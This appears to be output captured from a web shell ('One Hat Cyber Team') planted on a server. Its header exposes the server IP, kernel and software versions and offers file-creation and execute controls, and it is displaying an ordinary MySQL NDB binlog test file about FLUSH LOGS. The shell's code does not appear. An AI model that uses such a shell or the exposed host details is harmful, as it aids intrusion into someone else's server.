⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
server
/
mysql
/
mysql-test
/
suite
/
ndb_binlog
/
t
/
View File Name :
ndb_binlog_flush_log_waits.test
-- source include/have_ndb.inc -- source include/have_binlog_format_mixed_or_row.inc # # Test whether FLUSH LOGS flushes upto # session_last_committed_epoch to Binlog. # # Set Binlog size large enough to avoid size-based rotate SET @default_max_binlog_size = @@global.max_binlog_size; set global max_binlog_size=1048576; #1MB create table test.tn (b varchar(1000)) engine=ndb; # Method to generate load on NDB delimiter %; create procedure create_load(loops int) begin set @x = 0; repeat insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); insert into tn values (repeat('C', 100)); delete from tn; set @x = @x + 1; until @x = loops end repeat; end% delimiter ;% # Generate much load on NDB in order to make Binlog to lag behind --disable_result_log call create_load(20); --enable_result_log # Get the last committed epoch of the session --source ndb_binlog_init_epoch_vals.inc let $session_epoch= query_get_value(select @init_session_epoch as e, e, 1); # Flush Binlog FLUSH LOGS; # Get the maximum epoch written to Binlog let $max_epoch_after_flush = `select max(epoch) as epoch from mysql.ndb_binlog_index`; if ($max_epoch_after_flush < $session_epoch) { --echo --echo Max epoch found in Binlog after FLUSH LOGS ($max_epoch_after_flush) --echo is less than the last committed epoch of the session ($session_epoch) --echo die "FLUSH LOGS failed to flush upto the last committed epoch of the session"; } drop procedure create_load; drop table tn; set global max_binlog_size= @default_max_binlog_size;